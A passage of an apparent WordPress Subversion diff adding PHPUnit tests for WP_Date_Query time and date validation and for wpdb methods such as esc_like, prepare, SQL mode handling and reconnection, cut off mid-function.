+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2) AND MINUTE( post_date ) NOT IN (3,4,5) AND SECOND( post_date ) NOT IN (6)', $found );
+	}
+
+	public function test_build_time_query_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ), null, array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2 AND SECOND( post_date ) BETWEEN 6 AND 7', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'BETWEEN', array( 1, 2 ), array( 3, 4 ), array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) BETWEEN 1 AND 2 AND MINUTE( post_date ) BETWEEN 3 AND 4 AND SECOND( post_date ) BETWEEN 6 AND 7', $found );
+	}
+
+	public function test_build_time_query_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ), null, array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2 AND SECOND( post_date ) NOT BETWEEN 6 AND 7', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'NOT BETWEEN', array( 1, 2 ), array( 3, 4 ), array( 6, 7 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT BETWEEN 1 AND 2 AND MINUTE( post_date ) NOT BETWEEN 3 AND 4 AND SECOND( post_date ) NOT BETWEEN 6 AND 7', $found );
+	}
+
+	public function test_build_time_query_hour_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5 );
+		$this->assertSame( 'HOUR( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_minute_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, 5 );
+		$this->assertSame( 'MINUTE( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_second_only() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, null, 5 );
+		$this->assertSame( 'SECOND( post_date ) = 5', $found );
+	}
+
+	public function test_build_time_query_hour_and_second() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, null, 5 );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_time_query_hour_minute() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, 15 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '%H\.%i' \) = 5\.150*/", $wpdb->remove_placeholder_escape( $found ) );
+	}
+
+	public function test_build_time_query_hour_minute_second() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 5, 15, 35 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '%H\.%i%s' \) = 5\.15350*/", $wpdb->remove_placeholder_escape( $found ) );
+	}
+
+	public function test_build_time_query_minute_second() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', null, 15, 35 );
+
+		// $compare value is floating point - use regex to account for
+		// varying precision on different PHP installations
+		$this->assertRegExp( "/DATE_FORMAT\( post_date, '0\.%i%s' \) = 0\.15350*/", $wpdb->remove_placeholder_escape( $found ) );
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_query_before_after(){
+		// Valid values.
+		$valid_args = array(
+			array(
+				'month' => 2,
+				'year'  => 2014,
+			),
+			array(
+				'day'  => 8,
+				'year' => 2014,
+			),
+		);
+
+		foreach ( $valid_args as $args ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'before' => $args ) ) );
+			$this->assertTrue( $this->q->validate_date_values( array( 'after' => $args ) ) );
+		}
+
+		// Invalid values.
+		$invalid_args = array(
+			array(
+				'month' => 13,
+			),
+			array(
+				'day' => 32,
+			),
+			array(
+				'minute' => 60,
+			),
+			array(
+				'second' => 60,
+			),
+			array(
+				'week' => 54,
+			),
+		);
+
+		foreach ( $invalid_args as $args ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'before' => $args ) ) );
+			$this->assertFalse( $this->q->validate_date_values( array( 'after' => $args ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_query_before_after_with_month(){
+		// Both are valid.
+		$args = array(
+			'before' => array(
+				'month' => 2,
+				'year'  => 2014,
+			),
+			'month' => 10,
+		);
+		$this->assertTrue( $this->q->validate_date_values( $args ) );
+
+		// 'before' is invalid, 'month' is valid.
+		$args = array(
+			'before' => array(
+				'month' => 13,
+				'year'  => 2014,
+			),
+			'month' => 10,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+
+		// 'before' is valid, 'month' is invalid.
+		$args = array(
+			'before' => array(
+				'month' => 10,
+				'year'  => 2014,
+			),
+			'month' => 14,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+
+		// Both are invalid.
+		$args = array(
+			'before' => array(
+				'month' => 14,
+				'year'  => 2014,
+			),
+			'month' => 14,
+		);
+		$this->assertFalse( $this->q->validate_date_values( $args ) );
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_week() {
+		// Valid values.
+		$weeks = range( 1, 53 );
+		foreach ( $weeks as $week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'week' => $week ) ) );
+		}
+
+		// Invalid values.
+		$weeks = array( -1, 0, 54 );
+		foreach ( $weeks as $week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'week' => $week ) ) );
+		}
+
+		// Valid combinations.
+		$weeks = array(
+			array(
+				'week' => 52,
+				'year' => 2012,
+			),
+			array(
+				'week' => 53,
+				'year' => 2009,
+			),
+		);
+
+		foreach ( $weeks as $week_args ) {
+			$this->assertTrue( $this->q->validate_date_values( $week_args ) );
+		}
+
+		// Invalid combinations.
+		$weeks = array(
+			// 2012 has 52 weeks.
+			array(
+				'week' => 53,
+				'year' => 2012,
+			),
+
+			// 2013 has 53 weeks.
+			array(
+				'week' => 54,
+				'year' => 2009,
+			)
+		);
+
+		foreach ( $weeks as $week_args ) {
+			$this->assertFalse( $this->q->validate_date_values( $week_args ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_month() {
+		// Valid values.
+		$months = range( 1, 12 );
+		foreach ( $months as $month ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'month' => $month ) ) );
+		}
+
+		// Invalid values.
+		$months = array( -1, 0, 13, 'string who wants to be a int' );
+		foreach ( $months as $month ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'month' => $month ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day() {
+		// Valid values.
+		$days = range( 1, 31 );
+		foreach ( $days as $day ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'day' => $day ) ) );
+		}
+
+		// Invalid values.
+		$days = array( -1, 32 );
+		foreach ( $days as $day ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'day' => $day ) ) );
+		}
+
+		// Valid combinations.
+		$days = array(
+			array(
+				'day'   => 29,
+				'month' => 2,
+				'year'  => 2008,
+			),
+			array(
+				'day'   => 28,
+				'month' => 2,
+				'year'  => 2009,
+			),
+		);
+
+		foreach ( $days as $args ) {
+			$this->assertTrue( $this->q->validate_date_values( $args ) );
+		}
+
+		// Invalid combinations.
+		$days = array(
+			// February 2008 has 29 days.
+			array(
+				'day'   => 30,
+				'month' => 2,
+				'year'  => 2008,
+			),
+
+			// February 2009 has 29 days.
+			array(
+				'day'   => 29,
+				'month' => 2,
+				'year'  => 2009,
+			),
+		);
+
+		foreach ( $days as $args ) {
+			$this->assertFalse( $this->q->validate_date_values( $args ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_hour() {
+		// Valid values.
+		$hours = range( 0, 23 );
+		foreach ( $hours as $hour ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'hour' => $hour ) ) );
+		}
+
+		// Invalid values.
+		$hours = array( -1, 24, 25, 'string' );
+		foreach ( $hours as $hour ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'hour' => $hour ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_minute() {
+		// Valid values.
+		$minutes = range( 0, 59 );
+		foreach ( $minutes as $minute ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'minute' => $minute ) ) );
+		}
+
+		// Invalid values.
+		$minutes = array( -1, 60 );
+		foreach ( $minutes as $minute ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'minute' => $minute ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_second() {
+		// Valid values.
+		$seconds = range( 0, 59 );
+		foreach ( $seconds as $second ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'second' => $second ) ) );
+		}
+
+		// Invalid values.
+		$seconds = array( -1, 60 );
+		foreach ( $seconds as $second ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'second' => $second ) ) );
+		}
+
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_week() {
+		// Valid values.
+		$days_of_week = range( 1, 7 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofweek' => $day_of_week ) ) );
+		}
+
+		// Invalid values.
+		$days_of_week = array( -1, 0, 8 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'dayofweek' => $day_of_week ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 28063
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_week_iso() {
+		// Valid values.
+		$days_of_week = range( 1, 7 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofweek_iso' => $day_of_week ) ) );
+		}
+
+		// Invalid values.
+		$days_of_week = array( -1, 0, 8 );
+		foreach ( $days_of_week as $day_of_week ) {
+			$this->assertFalse( $this->q->validate_date_values( array( 'dayofweek_iso' => $day_of_week ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 25834
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_day_of_year() {
+		// Valid values.
+		$days_of_year = range( 1, 366 );
+		foreach ( $days_of_year as $day_of_year ) {
+			$this->assertTrue( $this->q->validate_date_values( array( 'dayofyear' => $day_of_year ) ) );
+		}
+
+		// Invalid values.
+		$days_of_year = array( -1, 0, 367 );
+		foreach ( $days_of_year as $day_of_year ) {
+			$this->assertFalse( @$this->q->validate_date_values( array( 'dayofyear' => $day_of_year ) ) );
+		}
+	}
+
+	/**
+	 * @ticket 31001
+	 */
+	public function test_validate_date_values_should_process_array_value_for_year() {
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-01-12 00:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2013-01-12 00:00:00' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'year' => array( 2012, 2014 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 31001
+	 */
+	public function test_validate_date_values_should_process_array_value_for_day() {
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-01-12 00:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2015-01-10 00:00:00' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'day' => array( 9, 11 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 31001
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	public function test_validate_date_values_should_process_array_value_for_day_when_values_are_invalid() {
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-01-12 00:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2015-01-10 00:00:00' ) );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				array(
+					'compare' => 'BETWEEN',
+					'day' => array( 9, 32 ),
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		// MySQL ignores the invalid clause.
+		$this->assertEquals( array( $p1, $p2 ), $q->posts );
+	}
+
+	/** Helpers **********************************************************/
+
+	public function date_query_valid_columns_callback( $columns ) {
+		$columns[] = 'my_custom_column';
+		return $columns;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/db.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/db.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/db.php	(revision 56912)
@@ -0,0 +1,1797 @@
+<?php
+
+/**
+ * Test WPDB methods
+ *
+ * @group wpdb
+ */
+class Tests_DB extends WP_UnitTestCase {
+
+	/**
+	 * Query log
+	 * @var array
+	 */
+	protected $_queries = array();
+
+	/**
+	 * Our special WPDB
+	 * @var resource
+	 */
+	protected static $_wpdb;
+
+	public static function setUpBeforeClass() {
+		parent::setUpBeforeClass();
+		self::$_wpdb = new wpdb_exposed_methods_for_testing();
+	}
+
+	/**
+	 * Set up the test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+		$this->_queries = array();
+		add_filter( 'query', array( $this, 'query_filter' ) );
+	}
+
+	/**
+	 * Tear down the test fixture
+	 */
+	public function tearDown() {
+		remove_filter( 'query', array( $this, 'query_filter' ) );
+		parent::tearDown();
+	}
+
+	/**
+	 * Log each query
+	 * @param string $sql
+	 * @return string
+	 */
+	public function query_filter( $sql ) {
+		$this->_queries[] = $sql;
+		return $sql;
+	}
+
+	/**
+	 * Test that WPDB will reconnect when the DB link dies
+	 * @ticket 5932
+	 */
+	public function test_db_reconnect() {
+		global $wpdb;
+
+		$var = $wpdb->get_var( "SELECT ID FROM $wpdb->users LIMIT 1" );
+		$this->assertGreaterThan( 0, $var );
+
+		$wpdb->close();
+
+		$var = $wpdb->get_var( "SELECT ID FROM $wpdb->users LIMIT 1" );
+
+		// Ensure all database handles have been properly reconnected after this test.
+		$wpdb->db_connect();
+		self::$_wpdb->db_connect();
+
+		$this->assertGreaterThan( 0, $var );
+	}
+
+	/**
+	 * Test that floats formatted as "0,700" get sanitized properly by wpdb
+	 * @global mixed $wpdb
+	 *
+	 * @ticket 19861
+	 */
+	public function test_locale_floats() {
+		global $wpdb;
+
+		// Save the current locale settings
+		$current_locales = explode( ';', setlocale( LC_ALL, 0 ) );
+
+		// Switch to Russian
+		$flag = setlocale( LC_ALL, 'ru_RU.utf8', 'rus', 'fr_FR.utf8', 'fr_FR', 'de_DE.utf8', 'de_DE', 'es_ES.utf8', 'es_ES' );
+		if ( false === $flag )
+			$this->markTestSkipped( 'No European languages available for testing' );
+
+		// Try an update query
+		$wpdb->suppress_errors( true );
+		$wpdb->update(
+			'test_table',
+			array( 'float_column' => 0.7 ),
+			array( 'meta_id' => 5 ),
+			array( '%f' ),
+			array( '%d' )
+		);
+		$wpdb->suppress_errors( false );
+
+		// Ensure the float isn't 0,700
+		$this->assertContains( '0.700', array_pop( $this->_queries ) );
+
+		// Try a prepare
+		$sql = $wpdb->prepare( "UPDATE test_table SET float_column = %f AND meta_id = %d", 0.7, 5 );
+		$this->assertContains( '0.700', $sql );
+
+		// Restore locale settings
+		foreach ( $current_locales as $locale_setting ) {
+			if ( false !== strpos( $locale_setting, '=' ) ) {
+				list( $category, $locale ) = explode( '=', $locale_setting );
+				if ( defined( $category ) )
+					setlocale( constant( $category ), $locale );
+			} else {
+				setlocale( LC_ALL, $locale_setting );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 10041
+	 */
+	function test_esc_like() {
+		global $wpdb;
+
+		$inputs = array(
+			'howdy%', //Single Percent
+			'howdy_', //Single Underscore
+			'howdy\\', //Single slash
+			'howdy\\howdy%howdy_', //The works
+			'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?', //Plain text
+		);
+		$expected = array(
+			'howdy\\%',
+			'howdy\\_',
+			'howdy\\\\',
+			'howdy\\\\howdy\\%howdy\\_',
+			'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals($expected[$key], $wpdb->esc_like($input));
+		}
+	}
+
+	/**
+	 * Test LIKE Queries
+	 *
+	 * Make sure $wpdb is fully compatible with esc_like() by testing the identity of various strings.
+	 * When escaped properly, a string literal is always LIKE itself (1)
+	 * and never LIKE any other string literal (0) no matter how crazy the SQL looks.
+	 *
+	 * @ticket 10041
+	 * @dataProvider data_like_query
+	 * @param $data string The haystack, raw.
+	 * @param $like string The like phrase, raw.
+	 * @param $result string The expected comparison result; '1' = true, '0' = false
+	 */
+	function test_like_query( $data, $like, $result ) {
+		global $wpdb;
+		return $this->assertEquals( $result, $wpdb->get_var( $wpdb->prepare( "SELECT %s LIKE %s", $data, $wpdb->esc_like( $like ) ) ) );
+	}
+
+	function data_like_query() {
+		return array(
+			array(
+				'aaa',
+				'aaa',
+				'1',
+			),
+			array(
+				'a\\aa', // SELECT 'a\\aa'  # This represents a\aa in both languages.
+				'a\\aa', // LIKE 'a\\\\aa'
+				'1',
+			),
+			array(
+				'a%aa',
+				'a%aa',
+				'1',
+			),
+			array(
+				'aaaa',
+				'a%aa',
+				'0',
+			),
+			array(
+				'a\\%aa', // SELECT 'a\\%aa'
+				'a\\%aa', // LIKE 'a\\\\\\%aa' # The PHP literal would be "LIKE 'a\\\\\\\\\\\\%aa'".  This is why we need reliable escape functions!
+				'1',
+			),
+			array(
+				'a%aa',
+				'a\\%aa',
+				'0',
+			),
+			array(
+				'a\\%aa',
+				'a%aa',
+				'0',
+			),
+			array(
+				'a_aa',
+				'a_aa',
+				'1',
+			),
+			array(
+				'aaaa',
+				'a_aa',
+				'0',
+			),
+			array(
+				'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+				'howdy\'"[[]*#[^howdy]!+)(*&$#@!~|}{=--`/.,<>?',
+				'1',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 18510
+	 */
+	function test_wpdb_supposedly_protected_properties() {
+		global $wpdb;
+
+		$this->assertNotEmpty( $wpdb->dbh );
+		$dbh = $wpdb->dbh;
+		$this->assertNotEmpty( $dbh );
+		$this->assertTrue( isset( $wpdb->dbh ) ); // Test __isset()
+		unset( $wpdb->dbh );
+		$this->assertTrue( empty( $wpdb->dbh ) );
+		$wpdb->dbh = $dbh;
+		$this->assertNotEmpty( $wpdb->dbh );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_wpdb_actually_protected_properties() {
+		global $wpdb;
+
+		$new_meta = "HAHA I HOPE THIS DOESN'T WORK";
+
+		$col_meta = $wpdb->col_meta;
+		$wpdb->col_meta = $new_meta;
+
+		$this->assertNotEquals( $col_meta, $new_meta );
+		$this->assertEquals( $col_meta, $wpdb->col_meta );
+	}
+
+	/**
+	 * @ticket 18510
+	 */
+	function test_wpdb_nonexistent_properties() {
+		global $wpdb;
+
+		$this->assertTrue( empty( $wpdb->nonexistent_property ) );
+		$wpdb->nonexistent_property = true;
+		$this->assertTrue( $wpdb->nonexistent_property );
+		$this->assertTrue( isset( $wpdb->nonexistent_property ) );
+		unset( $wpdb->nonexistent_property );
+		$this->assertTrue( empty( $wpdb->nonexistent_property ) );
+	}
+
+	/**
+	 * Test that an escaped %%f is not altered
+	 * @ticket 19861
+	 */
+	public function test_double_escaped_placeholders() {
+		global $wpdb;
+		$sql = $wpdb->prepare( "UPDATE test_table SET string_column = '%%f is a float, %%d is an int %d, %%s is a string', field = %s", 3, '4' );
+		$this->assertContains( $wpdb->placeholder_escape(), $sql );
+
+		$sql = $wpdb->remove_placeholder_escape( $sql );
+		$this->assertEquals( "UPDATE test_table SET string_column = '%f is a float, %d is an int 3, %s is a string', field = '4'", $sql );
+	}
+
+
+	/**
+	 * Test that SQL modes are set correctly
+	 * @ticket 26847
+	 */
+	function test_set_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'NO_AUTO_CREATE_USER' );
+
+		$wpdb->set_sql_mode( $new_modes );
+
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertEqualSets( $new_modes, explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	/**
+	 * Test that incompatible SQL modes are blocked
+	 * @ticket 26847
+	 */
+	function test_set_incompatible_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'NO_ZERO_DATE', 'NO_AUTO_CREATE_USER' );
+		$wpdb->set_sql_mode( $new_modes );
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertNotContains( 'NO_ZERO_DATE', explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	/**
+	 * Test that incompatible SQL modes can be changed
+	 * @ticket 26847
+	 */
+	function test_set_allowed_incompatible_sql_mode() {
+		global $wpdb;
+
+		$current_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+
+		$new_modes = array( 'IGNORE_SPACE', 'ONLY_FULL_GROUP_BY', 'NO_AUTO_CREATE_USER' );
+
+		add_filter( 'incompatible_sql_modes', array( $this, 'filter_allowed_incompatible_sql_mode' ), 1, 1 );
+		$wpdb->set_sql_mode( $new_modes );
+		remove_filter( 'incompatible_sql_modes', array( $this, 'filter_allowed_incompatible_sql_mode' ), 1 );
+
+		$check_new_modes = $wpdb->get_var( 'SELECT @@SESSION.sql_mode;' );
+		$this->assertContains( 'ONLY_FULL_GROUP_BY', explode( ',', $check_new_modes ) );
+
+		$wpdb->set_sql_mode( explode( ',', $current_modes ) );
+	}
+
+	public function filter_allowed_incompatible_sql_mode( $modes ) {
+		$pos = array_search( 'ONLY_FULL_GROUP_BY', $modes );
+		$this->assertGreaterThanOrEqual( 0, $pos );
+
+		if ( FALSE === $pos ) {
+			return $modes;
+		}
+
+		unset( $modes[ $pos ] );
+		return $modes;
+	}
+
+	/**
+	 * @ticket 25604
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	function test_prepare_without_arguments() {
+		global $wpdb;
+		$id = 0;
+		// This, obviously, is an incorrect prepare.
+		$prepared = $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = $id", $id );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 0", $prepared );
+	}
+
+	function test_prepare_sprintf() {
+		global $wpdb;
+
+		$prepared = $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", 1, "admin" );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = 'admin'", $prepared );
+	}
+
+	/**
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	function test_prepare_sprintf_invalid_args() {
+		global $wpdb;
+
+		$prepared = @$wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", 1, array( "admin" ) );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = ''", $prepared );
+
+		$prepared = @$wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", array( 1 ), "admin" );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 0 AND user_login = 'admin'", $prepared );
+	}
+
+	function test_prepare_vsprintf() {
+		global $wpdb;
+
+		$prepared = $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", array( 1, "admin" ) );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = 'admin'", $prepared );
+	}
+
+	/**
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	function test_prepare_vsprintf_invalid_args() {
+		global $wpdb;
+
+		$prepared = @$wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", array( 1, array( "admin" ) ) );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = ''", $prepared );
+
+		$prepared = @$wpdb->prepare( "SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s", array( array( 1 ), "admin" ) );
+		$this->assertEquals( "SELECT * FROM $wpdb->users WHERE id = 0 AND user_login = 'admin'", $prepared );
+	}
+
+	/**
+	 * @ticket 42040
+	 * @dataProvider data_prepare_incorrect_arg_count
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	public function test_prepare_incorrect_arg_count( $query, $args, $expected ) {
+		global $wpdb;
+
+		// $query is the first argument to be passed to wpdb::prepare()
+		array_unshift( $args, $query );
+
+		$prepared = @call_user_func_array( array( $wpdb, 'prepare' ), $args );
+		$this->assertEquals( $expected, $prepared );
+	}
+
+	public function data_prepare_incorrect_arg_count() {
+		global $wpdb;
+
+		return array(
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s",     // Query
+				array( 1, "admin", "extra-arg" ),                                   // ::prepare() args, to be passed via call_user_func_array
+				"SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = 'admin'", // Expected output
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %%%d AND user_login = %s",
+				array( 1 ),
+				false,
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s",
+				array( array( 1, "admin", "extra-arg" ) ),
+				"SELECT * FROM $wpdb->users WHERE id = 1 AND user_login = 'admin'",
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d AND %% AND user_login = %s",
+				array( 1, "admin", "extra-arg" ),
+				"SELECT * FROM $wpdb->users WHERE id = 1 AND {$wpdb->placeholder_escape()} AND user_login = 'admin'",
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %%%d AND %F AND %f AND user_login = %s",
+				array( 1, 2.3, "4.5", "admin", "extra-arg" ),
+				"SELECT * FROM $wpdb->users WHERE id = {$wpdb->placeholder_escape()}1 AND 2.300000 AND 4.500000 AND user_login = 'admin'",
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d AND user_login = %s",
+				array( array( 1 ), "admin", "extra-arg" ),
+				"SELECT * FROM $wpdb->users WHERE id = 0 AND user_login = 'admin'",
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d and user_nicename = %s and user_status = %d and user_login = %s",
+				array( 1, "admin", 0 ),
+				'',
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d and user_nicename = %s and user_status = %d and user_login = %s",
+				array( array( 1, "admin", 0 ) ),
+				'',
+			),
+			array(
+				"SELECT * FROM $wpdb->users WHERE id = %d and %% and user_login = %s and user_status = %d and user_login = %s",
+				array( 1, "admin", "extra-arg" ),
+				'',
+			),
+		);
+	}
+
+	function test_db_version() {
+		global $wpdb;
+
+		$this->assertTrue( version_compare( $wpdb->db_version(), '5.0', '>=' ) );
+	}
+
+	function test_get_caller() {
+		global $wpdb;
+		$str = $wpdb->get_caller();
+		$calls = explode( ', ', $str );
+		$called = join( '->', array( __CLASS__, __FUNCTION__ ) );
+		$this->assertEquals( $called, end( $calls ) );
+	}
+
+	function test_has_cap() {
+		global $wpdb;
+		$this->assertTrue( $wpdb->has_cap( 'collation' ) );
+		$this->assertTrue( $wpdb->has_cap( 'group_concat' ) );
+		$this->assertTrue( $wpdb->has_cap( 'subqueries' ) );
+		$this->assertTrue( $wpdb->has_cap( 'COLLATION' ) );
+		$this->assertTrue( $wpdb->has_cap( 'GROUP_CONCAT' ) );
+		$this->assertTrue( $wpdb->has_cap( 'SUBQUERIES' ) );
+		$this->assertEquals(
+			version_compare( $wpdb->db_version(), '5.0.7', '>=' ),
+			$wpdb->has_cap( 'set_charset' )
+		);
+		$this->assertEquals(
+			version_compare( $wpdb->db_version(), '5.0.7', '>=' ),
+			$wpdb->has_cap( 'SET_CHARSET' )
+		);
+	}
+
+	/**
+	 * @expectedDeprecated supports_collation
+	 */
+	function test_supports_collation() {
+		global $wpdb;
+		$this->assertTrue( $wpdb->supports_collation() );
+	}
+
+	function test_check_database_version() {
+		global $wpdb;
+		$this->assertEmpty( $wpdb->check_database_version() );
+	}
+
+	/**
+	 * @expectedException WPDieException
+	 */
+	function test_bail() {
+		global $wpdb;
